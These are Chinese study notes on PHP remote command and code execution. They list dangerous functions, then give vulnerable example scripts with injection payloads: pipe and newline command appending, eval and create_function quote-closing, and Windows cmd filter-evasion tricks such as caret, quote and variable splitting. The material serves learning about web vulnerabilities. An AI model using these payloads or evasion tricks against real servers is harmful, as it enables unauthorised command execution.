远程命令执行(复习笔记)
-
执行系统命令
assert system passthru exec pcntl_exec popen proc_open ''(反单引号)
-
代码执行与加密
eval assert call_user_func base64_decode gzinflate gzunconpress gzdecode str_rot13
-
文件包含与生成
require require_once include include_once file_get_contents file_put_contents fputs fwrite
.htaccess: SetHandler auto_prepend_file auto_append_file
例题一:
<?php
system("ping -c 2 ".$_GET['ip']);
?>
上述没有任何过滤 当 ip=127.0.0.1 | whoami 即可执行whoami 命令
例题二:
<?php if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) { die("Invalid IP address"); } system("ping -c 2 ".$_GET['ip']); ?>
上述正则 若IP不是 xxx.xxx.xxx.xxx 则终止提示 Invalid IP address
此处可使用%0a 换行进行绕过
ip=127.0.0.1%0awhoami 执行whoami
例题三:
<?php if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) { header("Location: example3.php?ip=127.0.0.1"); } system("ping -c 2 ".$_GET['ip']); ?>
上述代码有重定向 但是可以通过抓包来实现绕过
在抓到的包中 ip=127.0.0.1|%20whoami 执行whoami
例题四:
<?php $str="echo \"Hello ".$_GET['name']."!!!\";"; eval($str); ?>
name=%22;phpinfo();//;//) (%22为 " )绕过执行phpinfo();
例题五:
<?php class User{ public $id, $name, $age; function __construct($id, $name, $age){ $this->name= $name; $this->age = $age; $this->id = $id; } } require_once('../header.php'); require_once('../sqli/db.php'); $sql = "SELECT * FROM users "; $order = $_GET["order"]; $result = mysql_query($sql); if ($result) { while ($row = mysql_fetch_assoc($result)) { $users[] = new User($row['id'],$row['name'],$row['age']); } if (isset($order)) { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); } } ?> <table class='table table-striped' > <tr> <th><a href="example2.php?order=id">id</th> <th><a href="example2.php?order=name">name</th> <th><a href="example2.php?order=age">age</th> </tr> <?php foreach ($users as $user) { echo "<tr>"; echo "<td>".$user->id."</td>"; echo "<td>".$user->name."</td>"; echo "<td>".$user->age."</td>"; echo "</tr>"; } echo "</table>"; require '../footer.php'; ?>
理解create_function相当于function($args){方法代码部分} order=id);;)}phpinfo();// 闭合绕过
命令执行漏洞绕过过滤 摘选自 https://bbs.zkaq.cn/t/4557.html
whoami //正常执行 w"h"o"a"m"i //正常执行 w"h"o"a"m"i" //正常执行 wh""o^a^mi //正常执行 wh""o^am"i //正常执行 ((((Wh^o^am""i)))) //正常执行
set a=who set b=ami %a%%b% //正常执行whoami set a=w""ho set b=a^mi %a%%b% //根据前一知识点进行组合,正常执行whoami set a=ser&& set b=ne&& set c=t u && call %b%%c%%a% //在变量中设置空格,最后调用变量来执行命令
%a:~0% //取出a的值中的所有字符 此时正常执行whoami %a:~0,6% //取出a的值,从第0个位置开始,取6个值 此时因为whoami总共就6个字符,所以取出后正常执行whoami %a:~0,5% //取5个值,whoam无此命令 %a:~0,4% //取4个值,whoa无此命令
浙公网安备 33010602011771号